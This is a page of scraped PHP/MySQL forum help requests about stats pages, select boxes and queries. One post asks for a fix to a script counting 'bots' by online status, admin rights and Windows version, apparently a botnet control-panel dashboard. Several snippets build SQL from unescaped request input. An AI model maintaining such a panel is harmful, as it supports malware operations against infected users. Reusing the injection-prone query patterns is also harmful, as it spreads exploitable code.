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PHP - Php Stats Select Help
Hello i whant to creat stats page for my website can sombady help me how can SELECT
database id |user_id | site_id | date 1 | 2222 | 18 | 2011-11-28 06:10:06 select id COUNT(site_id ) from table WHERE date = ? i whant to select last 7 days from database and count site_id per day . Similar TutorialsI have a table of members (18) with games played, won, drawn, lost and would like to know if its possible to have the points and percentage update automatically, example- ID Member Grade Played Won Drawn Lost Points % 1 Player name 142 13 1 10 2 6 46.15 My web-page is currently static and i go to http://math.about.com/library/weekly/aa061502a.htm fill in the games played and points and it gives the percentage, i have very little knowledge of php and by some miracle have managed to create a database using wamp and have extracted the data onto local host web page, my code as follows please let me know if i have any errors- Code: [Select] <?php require "connect.inc.php"; echo "<table width='700'> <tr> <th></th> <th>Member</th> <th>Grade</th> <th>Played</th> <th>Won</th> <th>Drawn</th> <th>Lost</th> <th>Points</th> <th>&#37;</th> </tr>"; $result = mysql_query("SELECT * FROM members"); while ($row = mysql_fetch_array($result)) { echo "<tr>"; echo "<td>" . $row['id'] . "</td>"; echo "<td>" . $row['member'] . "</td>"; echo "<td>" . $row['grade'] . "</td>"; echo "<td>" . $row['played'] . "</td>"; echo "<td>" . $row['won'] . "</td>"; echo "<td>" . $row['drawn'] . "</td>"; echo "<td>" . $row['lost'] . "</td>"; echo "<td>" . $row['points'] . "</td>"; echo "<td>" . $row['percentage'] . "</td>"; echo "</tr>"; } echo "</table>"; ?> Please tell me how i can have the points and percentage update automatically and keep in mind im a novice with php. Best wishes, John Hiya, What's the best way of finding out and displaying the total number of users currently online, along a breakdown of how many of these users are members or guests? I also wish to find out and display the total number of users who were online today, along with a breakdown of how many of these users are members or guests. I've noticed that users of the same computer could of course use a different browser preference to another user of the same computer. What should happen in this situation? Any help is much appreciated. Cheers! I need a simple line graph for my PHP site showing page views against date (monthly). Have tried to find plugins but can't find an appropriate one. Can someone please help with a script or direct me to a plugin. Attached is the kind of graph I'd like to have. Hey guys, I want to create stats of visitors and some other values in the database depending on time. The stats are supposed to be created one time per hour. What can I use for it? Cronjob? What will be if it doesn't work?? Thanks for helping! Hi Everyone, I have seen on the web that you can purchase some server monitoring applications, which mainly run using PHP. Because I don't necesserally need something so powerful, I just want to monitor memory usage and cpu usage. Is there anyway that I can do this using PHP? I have SMNP enabled if that helps? Thanks Matt I tried to code this, but failed miserably. What I wanted was a admin page that contained various stats of a football match. TEAM 1....................TEAM 2 0...........Score...........0 0.......Shots on target.......0 0.......Shots off target.......0 ect, ect.... The first way I layed it out was a table, i entered the data and it saved to a text file, which then displayed on stats.php in a table format. That then displayed elsewhere via an iframe. I was wondering if someone would code me a stats center like I've explained! You could even help me do it, I don't mind....As long as I get it! Hi, Competitors vs. against each other and are recorded in a database. Each participant equally has 4 matches each, as you can see in the attatchment following the points gained in their played matches. I want to be able to determine the qualified participants according to either their "points" or "wins/losses". If two competitors have the same points, then I have already made a solution that another match must be generated for the two participants with the same points and draws can not be submitted which means the points will always be different for each team. I want to pick out half of participants 8/16 (screenshot below) with highest points which will be the qualifiers, or pick out half participants 8/16 with best match stats according to wins/losses. Any help I would be very grateful, thanks. Hey guys, What im trying to do is get the users screen resolution and place it into a database so that i can call it up and place it onto a stats page. So far i get the idea that you have to use Javascript to get the resolution then use PHP to pull that information. What i want to do is pull the screen resolutions and place them into a database so that i can call upon them to place into a stats page So far i have the following getting certain bits of information and banging them into the database using the stats.inc.php then calling them up and placing them onto stats.php. the stats.inc.php is included on every page of my site so it can track where a users has been etc etc. Im assuming i can insert something into my headerLoggedin.inc.php file that will pull the users resolution then use some PHP in the stats.inc.php script to pull that information and then insert it into my database which i can then easily pull from and place into the stats.php page. I know this seems like a bit of a silly thing to be doing, its for a college assignment and im pretty stumped. Any help is appreciated thanks guys. headerLoggedin.php Code: [Select] <?php include('includes/security.inc.php'); ?> <?php include('includes/stats.inc.php');?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8" /> <meta http-equiv="Content-Language" content="en-us" /> <link rel="stylesheet" href="css/index.css" type="text/css"/> <title>############</title> </head> <body> <!-- Start of wrapper div--> <div id="wrapper"> <!-- Start of header div--> <div id="header"> <div id="logo"><img src="./images/logo.png" width="412" height="32" alt="Elite Recruitment Services" /></div> <div id="navigation"> <ul class="nav"> <li><a href="news.php">News Page</a></li> <li><a href="edit.php">Edit text file</a></li> <li><a href="upload.php">Upload text file</a></li> <li><a href="stats.php">Stats</a></li> <li><a href="logout.php">Logout</a></li> </ul> </div> </div> <!--End of header div--> <!--Start of loginContainer div--> <div id="formsContainer"> stats.inc.php Code: [Select] <?php $db_host = "localhost"; // Databases host name $db_username ="#######"; // Database Username $db_password ="#######"; // Database Password $db_name ="dannymit_stats"; // Databases name $db_table="statTracker"; // Database table where the logins are stored mysql_connect("$db_host", "$db_username", "$db_password"); // Connects to the database using the preset host, username and password mysql_select_db("$db_name"); // Selects the database. //collect information... $browser = $_SERVER['HTTP_USER_AGENT']; // get the browser name $curr_page = $_SERVER['PHP_SELF'];// get page name $ip = $_SERVER['REMOTE_ADDR']; // get the IP address $from_page = $_SERVER['HTTP_REFERER'];// page from which visitor came $page = $_SERVER['PHP_SELF'];//get current page $width = $_GET['width']; //Gets users screen width $height = $_GET[['height']; //Gets users screen height //Insert the data in the table... $query_insert = "INSERT INTO statTracker (browser,ip,thedate_visited,page,from_page) VALUES ('$browser','$ip',now(),'$page','$from_page')" ; $result=mysql_query ( $query_insert); if(!$result){ die(mysql_error()); } ?> stats.php Code: [Select] <?php // Header include include('includes/headerLoggedin.inc.php'); include('includes/stats.inc.php'); ?> <br/><br/> <?php $db_host = "localhost"; // Databases host name $db_username ="######"; // Database Username $db_password ="######"; // Database Password $db_name ="dannymit_stats"; // Databases name $db_table="statTracker"; // Database table where the logins are stored mysql_connect("$db_host", "$db_username", "$db_password"); // Connects to the database using the preset host, username and password mysql_select_db("$db_name"); // Selects the database. $sqlquery = "SELECT * FROM `$db_table`"; $result = mysql_query($sqlquery); $num = mysql_num_rows($result); mysql_close(); while ($row = mysql_fetch_array($result, MYSQL_NUM)) { printf ("Browser:<br/> %s<br/> IP Address:<br/> %s<br/> Date Visited:<br/> %s<br/> Page Visited:<br/> %s<br/> Paged Visited From:<br/> %s<br/>", $row[1], $row[2], $row[3], $row[4], $row[5]); echo "<br />"; } ?> <?php include('includes/footer.inc.php');?> I want to automatically import some affiliate stats from a few sites into my website. How can I do it? I am new to php. Hi! So I'm working for someone, and they want me to fix this error in a PHP file.. Here is the code: <?php
include_once('config.php');
$online = mysql_query("SELECT * FROM bots WHERE status LIKE 'Online'");
$offline = mysql_query("SELECT * FROM bots WHERE status LIKE 'Offline'");
$dead = mysql_query("SELECT * FROM bots WHERE status LIKE 'Dead'");
$admintrue = mysql_query("SELECT * FROM bots WHERE admin LIKE 'True'");
$adminfalse = mysql_query("SELECT * FROM bots WHERE admin LIKE 'False'");
$windows8 = mysql_query("SELECT * FROM bots WHERE so LIKE '%8%'");
$windows7 = mysql_query("SELECT * FROM bots WHERE so LIKE '%7%'");
$windowsvista = mysql_query("SELECT * FROM bots WHERE so LIKE '%vista%'");
$windowsxp = mysql_query("SELECT * FROM bots WHERE so LIKE '%xp%'");
$unknown = mysql_query("SELECT * FROM bots WHERE so LIKE 'Unknown'");
$totalbots = mysql_num_rows(mysql_query("SELECT * FROM bots"));
$onlinecount = 0;
$offlinecount = 0;
$deadcount = 0;
$admintruecount = 0;
$adminfalsecount = 0;
$windows8count = 0;
$windows7count = 0;
$windowsvistacount = 0;
$windowsxpcount = 0;
$unknowncount = 0;
while($row = mysql_fetch_array($online)){
$onlinecount++;
}
while($row = mysql_fetch_array($offline)){
$offlinecount++;
}
while($row = mysql_fetch_array($dead)){
$deadcount++;
}
while($row = mysql_fetch_array($admintrue)){
$admintruecount++;
}
while($row = mysql_fetch_array($adminfalse)){
$adminfalsecount++;
}
while($row = mysql_fetch_array($windows8)){
$windows8count++;
}
while($row = mysql_fetch_array($windows7)){
$windows7count++;
}
while($row = mysql_fetch_array($windowsvista)){
$windowsvistacount++;
}
while($row = mysql_fetch_array($windowsxp)){
$windowsxpcount++;
}
while($row = mysql_fetch_array($unknown)){
$unknowncount++;
}
$statustotal = $onlinecount + $offlinecount + $deadcount;
$admintotal = $admintruecount + $adminfalsecount;
$sototal = $windows7count + $windowsvistacount + $windowsxpcount + $unknowncount;
?>
Can anyone tell me the error here, can how to fix it? hirealimo.com.au/code1.php this works as i want it: Quote SELECT * FROM price INNER JOIN vehicle USING (vehicleID) WHERE vehicle.passengers >= 1 AND price.townID = 1 AND price.eventID = 1 but apparelty selecting * is not a good thing???? but if I do this: Quote SELECT priceID, price FROM price INNER JOIN vehicle....etc it works but i lose the info from the vehicle table. but how do i make this work: Quote SELECT priceID, price, type, description, passengers FROM price INNER JOIN vehicle....etc so that i am specifiying which colums from which tables to query?? thanks I have 2 queries that I want to join together to make one row
Dear All, I wish to have 2 drop down boxes, Country Select Box and Locality Select Box. The locality select box will be affected by the value chosen in the country select box. All is working fine except that the locality select box is not being populated. I know that the problem is in the sql statement WHERE country_id='$co' because i am having an error that $co is an undefined variable. All the rest works fine because i have replaced the $co variable directly with a number (say 98) for a particular country id and it worked fine. In what way can i define this variable $co so that it is accepted by my sql statement? Thank you for your help in advance. MySQL Tables indicated below: CREATE TABLE countries( country_id INT(3) UNSIGNED NOT NULL AUTO_INCREMENT, country_name VARCHAR(30) NOT NULL, PRIMARY KEY(country_id), UNIQUE KEY(country_name), INDEX(country_id), INDEX(country_name)) ENGINE=MyISAM; CREATE TABLE localities( locality_id INT(10) UNSIGNED NOT NULL AUTO_INCREMENT, country_id INT(3) UNSIGNED NOT NULL, locality_name VARCHAR(50), PRIMARY KEY (locality_id), INDEX (country_id), INDEX (locality_name)) ENGINE=MyISAM; Extract PHP script included below: // connect to database require_once(MYSQL); if(isset($_POST['submitted'])) { // trim the incoming data /* this line runs every element in $_POST through the trim() function, and assigns the returned result to the new $trimmed array */ $trimmed=array_map('trim',$_POST); // clean the data $co=mysqli_real_escape_string($dbc,$trimmed['country']); $lc=mysqli_real_escape_string($dbc,$trimmed['locality']); } ?> <form action="form.php" method="post"> <p>Country <select name="country"> <option>Select Country</option> <?php $q="SELECT country_id, country_name FROM countries"; $r=mysqli_query($dbc,$q) or trigger_error("Query: $q\n<br />MySQL Error: " . mysqli_error($dbc)); while($row=mysqli_fetch_array($r)) { $country_id=$row[0]; $country_name=$row[1]; echo '<option value="' . $country_id . '"'; if(isset($trimmed['country']) && ($trimmed['country']==$country_id)) echo 'selected="selected"'; echo '>' . $country_name . '</option>\n'; } ?> </select> </p> <p>Locality <select name="locality"> <option>Select Locality</option> <?php $ql="SELECT locality_id, country_id, locality_name FROM localities WHERE country_id='$co' ORDER BY locality_name"; $rl=mysqli_query($dbc,$ql) or trigger_error("Query: $q\n<br />MySQL Error: " . mysqli_error($dbc)); while($row=mysqli_fetch_array($rl)) { $locality_id=$row[0]; $country_id=$row[1]; $locality_name=$row[2]; echo '<option value="' . $locality_id . '"'; if(isset($trimmed['locality']) && ($trimmed['locality']==$locality_id)) echo 'selected="selected"'; echo '>' . $locality_name . '</option>\n'; } // close database connection mysqli_close($dbc); ?> </select> </p> <p><input type="submit" name="submit" value="Submit" /></p> <input type="hidden" name="submitted" value="TRUE" /> </form> hi guys ive just finished this task after hours of head scratching since svg is only really supported good in firefox and opera ive chosen firefox as my browser to view this url www.deansignori.com/phpsvgpie/index.php i do need more help with this task but a different problem (creating select box to call different stylesheet and to change from 2d - 3d i have the code set out so that i can explode any segment or change size of slices or change from 2d-3d but i have to do this manually in the code to render different piecharts im wanting to use 1 but change it using a select box and echo my variable into it basically im unsure of the syntax for this problem psuedo code for style maybe something like if select box value isset onchange stylecolour echo stylecolour if select box value isset onchange stylegrey echo stylegrey and for 3d-2d if select box value isset onchnage format3 echo format3 if select box value isset onchange format2 echo format2 this would be on my index page can anyone advise me please regards Dean Hi all, Im trying to get the requested genre and compare it with the <SELECT> list to add the word SELECTED on the option. So if the requested genre is the same as the option name them make that the SELECTED option. Cheers. Here's a bit of code I made that does not work Code: [Select] <? function selected(){ if ($_REQUEST['genre'] = $name){ echo"SELECTED"; }} ?> Gen <SELECT class="sort" align="right" onChange="window.location.href=this.options[this.selectedIndex].value;"> <option value="<?=$_SERVER['PHP_SELF'];?>" <?$name = ''; selected(); ?>>Any</option> <option value="<?=$_SERVER['PHP_SELF'];?>?genre=Action" <?$name = 'Action'; selected(); ?>>Action</option> <option value="<?=$_SERVER['PHP_SELF'];?>?genre=Adventure" <?$name = 'Adventure'; selected(); ?>>Adventure</option> <option value="<?=$_SERVER['PHP_SELF'];?>?genre=Animation" <?$name = 'Animation'; selected(); ?>>Animation</option> </SELECT> Hi, what I want to figure out is for instance a person has registered with their country e.g. England. Now if I echo the country in a select box giving the person an option to change their country and Showing the person which currently they have selected already. The select box shows two England`s to select from. Could some one tell me how can I have one of each country and echo their already selected country from the database. I don't know how to explain any better what I am after but just basically there are two Englands showing one which is already selected (echoing from the mysql database) and one is already in the select box. Any help is much appreciated thank you. Hi, I'm not quite sure how to do this, so i thought i'd ask you guys from some assistance. Basically i am inserting Author's into a table successfully using an array. The reason for this is that i have multiple authors being added and there is no limit as to how many. An example of what i mean can be seen he http://www.prima.cse.salford.ac.uk:8080/~ibrarhussain/test.html You can click on "Add author" to add however many necessary.. Anyway, i have got the insert working, however when i edit i want to be able to see all the authors that have been added but obviously i don't know how many there are.. Typically i would like to see something like this: http://www.prima.cse.salford.ac.uk:8080/~ibrarhussain/edit.jpg So i would click on an edit link and it would pre populate the text boxes. I don't have a problem with doing this, but how can i show the correct amount of input textboxes based on how many authors exist for that specific record? Can someone offer some advice please? The input elements are like so: Quote <input type="text" name="author[]" id="author1"/> <input type="text" name="author[]" id="author2"/> <input type="text" name="author[]" id="author3"/> ... ... ... <input type="text" name="author[]" id="author10"/> Some records may have 1 author some may have 10, so how can i do this? Thanks again.. Hi everyone! I need to know how to write two $what_services variables in so it looks for both "R" AND "B".. R and B are values within my db table, here's the code: Code: [Select] <?php $what_services = "R"; $query = "SELECT * FROM companies WHERE what_services = '$what_services' ORDER BY approved DESC, company_name ASC"; $result = mysql_query($query); ?> iv'e tried the following but have gotten undesired results: two what services like so; $what_services = "R"; $what_services = "B"; separating with comma's; $what_services = "R, B"; Using AND; $what_services = "R AND B"; None of which works, what is the correct way to write this? Thanks ok here's my problem $Sql1 returns two values: 8 and 10 and these numbers get put into a <select>. So far so good. I assign a onchange to it. When i select 8 it makes the changes but when I select 10 nothing happends. I preciate some help. Code: [Select] <?php require("status.php"); require("id.php"); $Link = mysql_connect($Host, $User, $Password); mysql_select_db('sportsportal', $Link); $Sql1 = "select distinct week, (select max(week) from coupons where user='$User') max from coupons where user='$User'"; $Result1 = mysql_query($Sql1, $Link); print "<tr>"; print "<td align=left valign=top> </td>"; print "<td align=left valign=top>"; print "<select name=current_week onchange=window.location='coupon.php?curwk='+this.value>"; while($Row1 = mysql_fetch_array($Result1)){ //if($Row1[week] == $Row1[max]){ //print "<option value='$Row1[week]' selected>Vecka $Row1[week]</option>"; //} else { //print "<option value='$Row1[week]'>Vecka $Row1[week]</option>"; //} print "<option value='$Row1[week]'>Vecka $Row1[week]</option>"; } print "</select>"; print "<p></td>"; print "</tr>"; if(isset($_REQUEST['curwk'])){ $Curwk = $_REQUEST['curwk']; } else { $Curwk = 0; } $Sql = "select home, away, home_score, away_score, winner from coupons where user='$User' and week='$Curwk'"; $Result = mysql_query($Sql, $Link) or die(mysql_error()); while($Row = mysql_fetch_array($Result)){ if(@$Row[home] == @$Row[winner]){ print "<tr>"; print "<td align=left valign=top> </td>"; print "<td align=left valign=top><b>$Row[home]</b> - $Row[away] $Row[home_score]-$Row[away_score]</td>"; print "</tr>"; } else { print "<tr>"; print "<td align=left valign=top> </td>"; print "<td align=left valign=top>$Row[home] - <b>$Row[away]</b> $Row[home_score]-$Row[away_score]</td>"; print "</tr>"; } } mysql_close($Link); ?> Hello dear friends, If i've database table has named as info (id, name, number) and i wanna say select from info where name must has value not empty Code: [Select] select * from info where name='xxxxwhatxxx' i've tired $name and $1 and 1 but all not working how to say where name must has value and not empty example if i've Code: [Select] (id, name, number) values (1, 'manal', '4') (id, name, number) values (2, 'shimaa', '7') (id, name, number) values (3, '', '3') and i wanna say sellect from info where name has value so it shows me only data of id "1" and "2" only thank you so much it would helps me alot to improve myself |
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